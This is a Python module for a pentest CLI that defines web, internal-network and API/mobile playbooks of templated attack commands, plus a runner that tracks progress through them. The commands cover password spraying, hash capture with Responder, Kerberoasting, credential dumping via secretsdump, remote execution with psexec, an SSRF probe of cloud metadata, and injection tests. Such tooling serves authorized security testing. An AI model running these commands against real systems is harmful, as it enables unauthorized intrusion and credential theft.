"""
MundiX CLI - Pentest Playbooks
Pre-defined attack methodologies based on OWASP, PTES, and real-world
red team engagements. Each playbook is a structured sequence of phases
with commands, tools, and decision logic.

Playbooks:
    1. WEB      - Web Application Pentest (OWASP Top 10 + beyond)
    2. INTERNAL - Internal Network / Active Directory Pentest
    3. APP      - Mobile/Desktop Application Pentest

Each phase has:
    - name: Phase name
    - description: What this phase accomplishes
    - commands: List of commands with placeholders ({target}, {domain}, etc.)
    - tools: Required tools
    - parse_output: Whether to auto-parse results
    - next_phase_condition: When to advance
"""

from typing import List, Dict, Optional


# ═══════════════════════════════════════════════════════════════════════
# PLAYBOOK 1: WEB APPLICATION PENTEST
# Based on: OWASP Testing Guide v4.2, Bug Bounty Hunter methodology,
# Jason Haddix's "The Bug Hunter's Methodology", Nahamsec's recon flow
# ═══════════════════════════════════════════════════════════════════════

WEB_PLAYBOOK = {
    "id": "web",
    "name": "Web Application Pentest",
    "description": "Full web application penetration test following OWASP methodology",
    "icon": "🌐",
    "phases": [
        {
            "id": 1,
            "name": "Reconnaissance & OSINT",
            "description": "Gather intelligence about the target domain, subdomains, technologies, and attack surface.",
            "commands": [
                {
                    "cmd": "whois {target}",
                    "description": "Domain registration info, registrar, nameservers",
                    "tool": "whois",
                    "critical": True,
                },
                {
                    "cmd": "dig {target} ANY +noall +answer",
                    "description": "DNS records (A, AAAA, MX, NS, TXT, CNAME)",
                    "tool": "dig",
                    "critical": True,
                },
                {
                    "cmd": "dig {target} TXT +short",
                    "description": "TXT records (SPF, DKIM, DMARC - useful for email spoofing)",
                    "tool": "dig",
                    "critical": False,
                },
                {
                    "cmd": "subfinder -d {target} -silent -o /tmp/mundix_subs.txt && cat /tmp/mundix_subs.txt | head -50",
                    "description": "Subdomain enumeration (passive sources)",
                    "tool": "subfinder",
                    "critical": True,
                },
                {
                    "cmd": "httpx -l /tmp/mundix_subs.txt -silent -status-code -title -tech-detect -o /tmp/mundix_alive.txt && cat /tmp/mundix_alive.txt",
                    "description": "Probe alive subdomains, detect technologies",
                    "tool": "httpx",
                    "critical": True,
                },
                {
                    "cmd": "whatweb {target} -v",
                    "description": "Technology fingerprinting (CMS, frameworks, server)",
                    "tool": "whatweb",
                    "critical": True,
                },
                {
                    "cmd": "wafw00f {target}",
                    "description": "WAF detection (Cloudflare, AWS WAF, Akamai, etc.)",
                    "tool": "wafw00f",
                    "critical": False,
                },
            ],
        },
        {
            "id": 2,
            "name": "Port Scanning & Service Enumeration",
            "description": "Identify open ports, running services, and their versions.",
            "commands": [
                {
                    "cmd": "nmap -sC -sV -oA /tmp/mundix_nmap_{target_safe} {target}",
                    "description": "Full service scan with default scripts",
                    "tool": "nmap",
                    "critical": True,
                    "parse": "nmap",
                },
                {
                    "cmd": "nmap -sV --script=http-enum,http-headers,http-methods,http-title -p 80,443,8080,8443 {target}",
                    "description": "HTTP-specific enumeration scripts",
                    "tool": "nmap",
                    "critical": False,
                    "parse": "nmap",
                },
                {
                    "cmd": "nmap --script ssl-enum-ciphers,ssl-cert -p 443 {target}",
                    "description": "SSL/TLS configuration analysis",
                    "tool": "nmap",
                    "critical": False,
                },
            ],
        },
        {
            "id": 3,
            "name": "Directory & Content Discovery",
            "description": "Discover hidden directories, files, API endpoints, and backup files.",
            "commands": [
                {
                    "cmd": "feroxbuster -u https://{target} -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,html,js,txt,bak -t 50 --silent -o /tmp/mundix_dirs.txt",
                    "description": "Directory brute-force with common extensions",
                    "tool": "feroxbuster",
                    "critical": True,
                },
                {
                    "cmd": "ffuf -u https://{target}/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -o /tmp/mundix_ffuf.json -of json -s",
                    "description": "Fast fuzzing for hidden paths",
                    "tool": "ffuf",
                    "critical": False,
                },
                {
                    "cmd": "curl -s https://{target}/robots.txt",
                    "description": "Check robots.txt for hidden paths",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "curl -s https://{target}/sitemap.xml | head -50",
                    "description": "Check sitemap for URL structure",
                    "tool": "curl",
                    "critical": False,
                },
                {
                    "cmd": "curl -s https://{target}/.git/HEAD",
                    "description": "Check for exposed .git repository",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "curl -s https://{target}/.env",
                    "description": "Check for exposed environment file",
                    "tool": "curl",
                    "critical": True,
                },
            ],
        },
        {
            "id": 4,
            "name": "Vulnerability Scanning",
            "description": "Automated vulnerability scanning for known CVEs and misconfigurations.",
            "commands": [
                {
                    "cmd": "nikto -h https://{target} -o /tmp/mundix_nikto.txt",
                    "description": "Web server vulnerability scanner",
                    "tool": "nikto",
                    "critical": True,
                },
                {
                    "cmd": "nuclei -u https://{target} -severity critical,high,medium -o /tmp/mundix_nuclei.txt",
                    "description": "Template-based vulnerability scanner (CVEs, misconfigs)",
                    "tool": "nuclei",
                    "critical": True,
                },
                {
                    "cmd": "wpscan --url https://{target} --enumerate vp,vt,u --api-token {wpscan_token}",
                    "description": "WordPress-specific scanner (if WordPress detected)",
                    "tool": "wpscan",
                    "critical": False,
                    "condition": "wordpress_detected",
                },
            ],
        },
        {
            "id": 5,
            "name": "Manual Testing & Exploitation",
            "description": "Manual testing for OWASP Top 10: SQLi, XSS, SSRF, IDOR, Auth bypass, etc.",
            "commands": [
                {
                    "cmd": "sqlmap -u 'https://{target}/{param_url}' --batch --level=3 --risk=2 --random-agent",
                    "description": "SQL Injection testing (automated)",
                    "tool": "sqlmap",
                    "critical": True,
                },
                {
                    "cmd": "curl -s -X POST https://{target}/login -d 'username=admin&password=admin' -v",
                    "description": "Test default credentials",
                    "tool": "curl",
                    "critical": False,
                },
                {
                    "cmd": "curl -s https://{target}/api/ -H 'Content-Type: application/json'",
                    "description": "API endpoint discovery and testing",
                    "tool": "curl",
                    "critical": False,
                },
            ],
        },
        {
            "id": 6,
            "name": "Report Generation",
            "description": "Compile findings, generate report, and provide remediation recommendations.",
            "commands": [
                {
                    "cmd": "/report",
                    "description": "Generate MundiX pentest report from collected findings",
                    "tool": "mundix",
                    "critical": True,
                },
            ],
        },
    ],
}


# ═══════════════════════════════════════════════════════════════════════
# PLAYBOOK 2: INTERNAL NETWORK PENTEST
# Based on: PTES, TCM Security methodology, Active Directory attack paths,
# HackTricks, PayloadsAllTheThings, Orange Cyberdefense AD mindmap
# ═══════════════════════════════════════════════════════════════════════

INTERNAL_PLAYBOOK = {
    "id": "internal",
    "name": "Internal Network Pentest",
    "description": "Internal network and Active Directory penetration test",
    "icon": "🔒",
    "phases": [
        {
            "id": 1,
            "name": "Network Discovery & Host Enumeration",
            "description": "Discover live hosts, network topology, and identify high-value targets.",
            "commands": [
                {
                    "cmd": "ip addr show",
                    "description": "Check our own IP and interfaces",
                    "tool": "ip",
                    "critical": True,
                },
                {
                    "cmd": "arp-scan -l",
                    "description": "ARP scan for live hosts on local subnet",
                    "tool": "arp-scan",
                    "critical": True,
                },
                {
                    "cmd": "nmap -sn {network}/24 -oG /tmp/mundix_hosts.txt",
                    "description": "Ping sweep to find alive hosts",
                    "tool": "nmap",
                    "critical": True,
                    "parse": "nmap",
                },
                {
                    "cmd": "nmap -sV -sC -O -p- --min-rate=1000 {target} -oA /tmp/mundix_full_{target_safe}",
                    "description": "Full port scan with service detection and OS fingerprinting",
                    "tool": "nmap",
                    "critical": True,
                    "parse": "nmap",
                },
                {
                    "cmd": "nbtscan {network}/24",
                    "description": "NetBIOS name scan for Windows hosts",
                    "tool": "nbtscan",
                    "critical": False,
                },
            ],
        },
        {
            "id": 2,
            "name": "Service Enumeration & Low-Hanging Fruit",
            "description": "Deep enumeration of discovered services (SMB, LDAP, DNS, HTTP, etc.)",
            "commands": [
                {
                    "cmd": "enum4linux-ng -A {target}",
                    "description": "SMB/NetBIOS/LDAP enumeration (users, shares, policies)",
                    "tool": "enum4linux-ng",
                    "critical": True,
                },
                {
                    "cmd": "smbclient -L //{target}/ -N",
                    "description": "List SMB shares (null session)",
                    "tool": "smbclient",
                    "critical": True,
                },
                {
                    "cmd": "crackmapexec smb {target} -u '' -p '' --shares",
                    "description": "SMB share enumeration via CrackMapExec",
                    "tool": "crackmapexec",
                    "critical": True,
                },
                {
                    "cmd": "ldapsearch -x -H ldap://{target} -b '' -s base namingContexts",
                    "description": "LDAP base enumeration (find domain naming context)",
                    "tool": "ldapsearch",
                    "critical": False,
                },
                {
                    "cmd": "rpcclient -U '' -N {target} -c 'enumdomusers'",
                    "description": "RPC user enumeration (null session)",
                    "tool": "rpcclient",
                    "critical": False,
                },
                {
                    "cmd": "nmap --script smb-vuln* -p 445 {target}",
                    "description": "Check for SMB vulnerabilities (EternalBlue, etc.)",
                    "tool": "nmap",
                    "critical": True,
                },
            ],
        },
        {
            "id": 3,
            "name": "Credential Attacks",
            "description": "Password spraying, brute force, and credential harvesting.",
            "commands": [
                {
                    "cmd": "crackmapexec smb {target} -u users.txt -p 'Password123!' --continue-on-success",
                    "description": "Password spraying against SMB (common password)",
                    "tool": "crackmapexec",
                    "critical": True,
                },
                {
                    "cmd": "hydra -L users.txt -P /usr/share/wordlists/rockyou.txt {target} ssh -t 4 -f",
                    "description": "SSH brute force (if SSH is open)",
                    "tool": "hydra",
                    "critical": False,
                },
                {
                    "cmd": "responder -I {interface} -wrf",
                    "description": "LLMNR/NBT-NS/mDNS poisoning to capture NTLMv2 hashes",
                    "tool": "responder",
                    "critical": True,
                },
                {
                    "cmd": "hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt",
                    "description": "Crack captured NTLMv2 hashes",
                    "tool": "hashcat",
                    "critical": False,
                },
            ],
        },
        {
            "id": 4,
            "name": "Active Directory Exploitation",
            "description": "AD-specific attacks: Kerberoasting, AS-REP roasting, delegation abuse.",
            "commands": [
                {
                    "cmd": "impacket-GetNPUsers {domain}/ -usersfile users.txt -no-pass -dc-ip {target}",
                    "description": "AS-REP Roasting (find accounts without pre-auth)",
                    "tool": "impacket",
                    "critical": True,
                },
                {
                    "cmd": "impacket-GetUserSPNs {domain}/{user}:{password} -dc-ip {target} -request",
                    "description": "Kerberoasting (extract service ticket hashes)",
                    "tool": "impacket",
                    "critical": True,
                },
                {
                    "cmd": "bloodhound-python -u {user} -p {password} -d {domain} -dc {target} -c All",
                    "description": "BloodHound data collection (AD attack path mapping)",
                    "tool": "bloodhound-python",
                    "critical": True,
                },
                {
                    "cmd": "crackmapexec smb {target} -u {user} -p {password} --sam",
                    "description": "Dump SAM hashes (if admin)",
                    "tool": "crackmapexec",
                    "critical": False,
                },
                {
                    "cmd": "impacket-secretsdump {domain}/{user}:{password}@{target}",
                    "description": "Dump domain credentials (DCSync if DA)",
                    "tool": "impacket",
                    "critical": False,
                },
            ],
        },
        {
            "id": 5,
            "name": "Lateral Movement & Privilege Escalation",
            "description": "Move through the network and escalate privileges.",
            "commands": [
                {
                    "cmd": "crackmapexec smb {network}/24 -u {user} -p {password}",
                    "description": "Test credentials across the network",
                    "tool": "crackmapexec",
                    "critical": True,
                },
                {
                    "cmd": "impacket-psexec {domain}/{user}:{password}@{target}",
                    "description": "Remote code execution via PsExec",
                    "tool": "impacket",
                    "critical": False,
                },
                {
                    "cmd": "impacket-wmiexec {domain}/{user}:{password}@{target}",
                    "description": "Remote code execution via WMI",
                    "tool": "impacket",
                    "critical": False,
                },
                {
                    "cmd": "evil-winrm -i {target} -u {user} -p {password}",
                    "description": "WinRM shell (if port 5985/5986 open)",
                    "tool": "evil-winrm",
                    "critical": False,
                },
            ],
        },
        {
            "id": 6,
            "name": "Report Generation",
            "description": "Compile findings and generate comprehensive report.",
            "commands": [
                {
                    "cmd": "/report",
                    "description": "Generate MundiX pentest report",
                    "tool": "mundix",
                    "critical": True,
                },
            ],
        },
    ],
}


# ═══════════════════════════════════════════════════════════════════════
# PLAYBOOK 3: APPLICATION PENTEST (Mobile/Desktop/API)
# Based on: OWASP Mobile/API Testing Guide, MASVS, real-world app testing
# ═══════════════════════════════════════════════════════════════════════

APP_PLAYBOOK = {
    "id": "app",
    "name": "Application Pentest (API/Mobile)",
    "description": "API and mobile application penetration test",
    "icon": "📱",
    "phases": [
        {
            "id": 1,
            "name": "API Discovery & Reconnaissance",
            "description": "Discover API endpoints, documentation, and authentication mechanisms.",
            "commands": [
                {
                    "cmd": "curl -s https://{target}/swagger.json 2>/dev/null || curl -s https://{target}/api-docs 2>/dev/null || curl -s https://{target}/openapi.json 2>/dev/null",
                    "description": "Check for exposed API documentation (Swagger/OpenAPI)",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "curl -s https://{target}/api/v1/ -H 'Content-Type: application/json' -v 2>&1",
                    "description": "Probe common API base paths",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "ffuf -u https://{target}/api/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,201,301,302,401,403,405 -s",
                    "description": "Fuzz API endpoints",
                    "tool": "ffuf",
                    "critical": True,
                },
                {
                    "cmd": "curl -s https://{target}/.well-known/openid-configuration 2>/dev/null",
                    "description": "Check for OpenID Connect configuration",
                    "tool": "curl",
                    "critical": False,
                },
                {
                    "cmd": "nmap -sV -p 80,443,8080,8443,3000,5000,8000 {target}",
                    "description": "Scan common API ports",
                    "tool": "nmap",
                    "critical": True,
                    "parse": "nmap",
                },
            ],
        },
        {
            "id": 2,
            "name": "Authentication & Authorization Testing",
            "description": "Test authentication mechanisms, JWT tokens, API keys, and authorization.",
            "commands": [
                {
                    "cmd": "curl -s -X POST https://{target}/api/auth/login -H 'Content-Type: application/json' -d '{{\"email\":\"admin@test.com\",\"password\":\"admin\"}}' -v 2>&1",
                    "description": "Test default/weak credentials on login endpoint",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "curl -s -X POST https://{target}/api/auth/register -H 'Content-Type: application/json' -d '{{\"email\":\"test@mundix.com\",\"password\":\"Test123!\"}}' -v 2>&1",
                    "description": "Test open registration",
                    "tool": "curl",
                    "critical": False,
                },
                {
                    "cmd": "curl -s https://{target}/api/users -H 'Authorization: Bearer {token}' | python3 -m json.tool",
                    "description": "Test IDOR on user endpoints (change user IDs)",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "curl -s https://{target}/api/admin -H 'Authorization: Bearer {token}' -v 2>&1",
                    "description": "Test privilege escalation to admin endpoints",
                    "tool": "curl",
                    "critical": True,
                },
            ],
        },
        {
            "id": 3,
            "name": "Input Validation & Injection Testing",
            "description": "Test for injection vulnerabilities: SQLi, NoSQLi, Command Injection, SSRF.",
            "commands": [
                {
                    "cmd": "sqlmap -u 'https://{target}/api/search?q=test' --batch --level=3 --risk=2 --random-agent --tamper=space2comment",
                    "description": "SQL Injection on API parameters",
                    "tool": "sqlmap",
                    "critical": True,
                },
                {
                    "cmd": "curl -s 'https://{target}/api/search' -H 'Content-Type: application/json' -d '{{\"query\":{{\"$gt\":\"\"}}}}' -v 2>&1",
                    "description": "NoSQL Injection test (MongoDB operator injection)",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "curl -s 'https://{target}/api/webhook' -H 'Content-Type: application/json' -d '{{\"url\":\"http://169.254.169.254/latest/meta-data/\"}}' -v 2>&1",
                    "description": "SSRF test (AWS metadata endpoint)",
                    "tool": "curl",
                    "critical": True,
                },
                {
                    "cmd": "nuclei -u https://{target} -t cves/ -t vulnerabilities/ -severity critical,high -o /tmp/mundix_nuclei_api.txt",
                    "description": "Nuclei scan for known API vulnerabilities",
                    "tool": "nuclei",
                    "critical": True,
                },
            ],
        },
        {
            "id": 4,
            "name": "Business Logic & Rate Limiting",
            "description": "Test business logic flaws, rate limiting, and abuse scenarios.",
            "commands": [
                {
                    "cmd": "ffuf -u https://{target}/api/auth/login -X POST -H 'Content-Type: application/json' -d '{{\"email\":\"admin@test.com\",\"password\":\"FUZZ\"}}' -w /usr/share/wordlists/rockyou.txt -mc 200 -rate 10 -s",
                    "description": "Brute force login (test rate limiting)",
                    "tool": "ffuf",
                    "critical": True,
                },
                {
                    "cmd": "curl -s -X POST https://{target}/api/auth/forgot-password -H 'Content-Type: application/json' -d '{{\"email\":\"admin@{target}\"}}' -v 2>&1",
                    "description": "Test password reset flow for user enumeration",
                    "tool": "curl",
                    "critical": False,
                },
            ],
        },
        {
            "id": 5,
            "name": "Mobile App Analysis (if applicable)",
            "description": "Static and dynamic analysis of mobile applications.",
            "commands": [
                {
                    "cmd": "apktool d {apk_file} -o /tmp/mundix_apk_decompiled",
                    "description": "Decompile Android APK",
                    "tool": "apktool",
                    "critical": True,
                },
                {
                    "cmd": "grep -r 'api_key\\|secret\\|password\\|token\\|Bearer' /tmp/mundix_apk_decompiled/ --include='*.xml' --include='*.smali' --include='*.json' | head -30",
                    "description": "Search for hardcoded secrets in decompiled app",
                    "tool": "grep",
                    "critical": True,
                },
                {
                    "cmd": "grep -r 'http://\\|https://' /tmp/mundix_apk_decompiled/ --include='*.smali' --include='*.xml' | sort -u | head -30",
                    "description": "Extract API endpoints from decompiled app",
                    "tool": "grep",
                    "critical": True,
                },
            ],
        },
        {
            "id": 6,
            "name": "Report Generation",
            "description": "Compile findings and generate comprehensive report.",
            "commands": [
                {
                    "cmd": "/report",
                    "description": "Generate MundiX pentest report",
                    "tool": "mundix",
                    "critical": True,
                },
            ],
        },
    ],
}


# ═══════════════════════════════════════════════════════════════════════
# PLAYBOOK REGISTRY
# ═══════════════════════════════════════════════════════════════════════

PLAYBOOKS = {
    "web": WEB_PLAYBOOK,
    "internal": INTERNAL_PLAYBOOK,
    "app": APP_PLAYBOOK,
}


class PlaybookRunner:
    """Manages playbook execution state."""

    def __init__(self, playbook_id: str = None):
        self.playbook = None
        self.current_phase = 0
        self.current_command = 0
        self.variables = {}  # {target}, {domain}, etc.
        self.skipped_commands = []
        self.completed_commands = []

        if playbook_id and playbook_id in PLAYBOOKS:
            self.playbook = PLAYBOOKS[playbook_id]

    def set_playbook(self, playbook_id: str) -> bool:
        """Set the active playbook."""
        if playbook_id in PLAYBOOKS:
            self.playbook = PLAYBOOKS[playbook_id]
            self.current_phase = 0
            self.current_command = 0
            self.skipped_commands = []
            self.completed_commands = []
            return True
        return False

    def set_variable(self, key: str, value: str):
        """Set a playbook variable (e.g., target, domain)."""
        self.variables[key] = value
        # Also create safe version for filenames
        self.variables[f"{key}_safe"] = value.replace(".", "_").replace("/", "_").replace(":", "_")

    def get_current_phase(self) -> Optional[dict]:
        """Get the current phase."""
        if not self.playbook:
            return None
        phases = self.playbook["phases"]
        if self.current_phase < len(phases):
            return phases[self.current_phase]
        return None

    def get_current_command(self) -> Optional[dict]:
        """Get the current command in the current phase."""
        phase = self.get_current_phase()
        if not phase:
            return None
        commands = phase["commands"]
        if self.current_command < len(commands):
            return commands[self.current_command]
        return None

    def resolve_command(self, cmd_template: str) -> str:
        """Replace placeholders in command with actual values."""
        result = cmd_template
        for key, value in self.variables.items():
            result = result.replace(f"{{{key}}}", value)
        return result

    def advance_command(self):
        """Move to the next command. Auto-advance phase if needed."""
        phase = self.get_current_phase()
        if not phase:
            return

        self.current_command += 1
        if self.current_command >= len(phase["commands"]):
            self.current_command = 0
            self.current_phase += 1

    def skip_command(self):
        """Skip the current command."""
        cmd = self.get_current_command()
        if cmd:
            self.skipped_commands.append(cmd["cmd"])
        self.advance_command()

    def mark_completed(self, command: str):
        """Mark a command as completed."""
        self.completed_commands.append(command)

    def get_progress(self) -> dict:
        """Get playbook execution progress."""
        if not self.playbook:
            return {"active": False}

        total_phases = len(self.playbook["phases"])
        total_commands = sum(len(p["commands"]) for p in self.playbook["phases"])
        completed = len(self.completed_commands)
        skipped = len(self.skipped_commands)

        return {
            "active": True,
            "playbook": self.playbook["name"],
            "phase": self.current_phase + 1,
            "total_phases": total_phases,
            "phase_name": self.get_current_phase()["name"] if self.get_current_phase() else "Complete",
            "completed_commands": completed,
            "skipped_commands": skipped,
            "total_commands": total_commands,
            "progress_pct": round((completed + skipped) / total_commands * 100) if total_commands > 0 else 100,
        }

    def is_complete(self) -> bool:
        """Check if the playbook is fully executed."""
        if not self.playbook:
            return True
        return self.current_phase >= len(self.playbook["phases"])

    def get_phase_summary(self) -> str:
        """Get a formatted summary of the current phase."""
        phase = self.get_current_phase()
        if not phase:
            return "Playbook complete!"

        lines = [
            f"Phase {phase['id']}: {phase['name']}",
            f"  {phase['description']}",
            f"  Commands: {len(phase['commands'])}",
        ]

        for i, cmd in enumerate(phase["commands"]):
            status = "✓" if cmd["cmd"] in [c for c in self.completed_commands] else "○"
            if cmd["cmd"] in self.skipped_commands:
                status = "⊘"
            critical = " [CRITICAL]" if cmd.get("critical") else ""
            lines.append(f"    {status} {i+1}. {cmd['description']}{critical}")

        return "\n".join(lines)

    @staticmethod
    def list_playbooks() -> List[dict]:
        """List all available playbooks."""
        result = []
        for key, pb in PLAYBOOKS.items():
            total_cmds = sum(len(p["commands"]) for p in pb["phases"])
            result.append({
                "id": key,
                "name": pb["name"],
                "icon": pb["icon"],
                "description": pb["description"],
                "phases": len(pb["phases"]),
                "commands": total_cmds,
            })
        return result
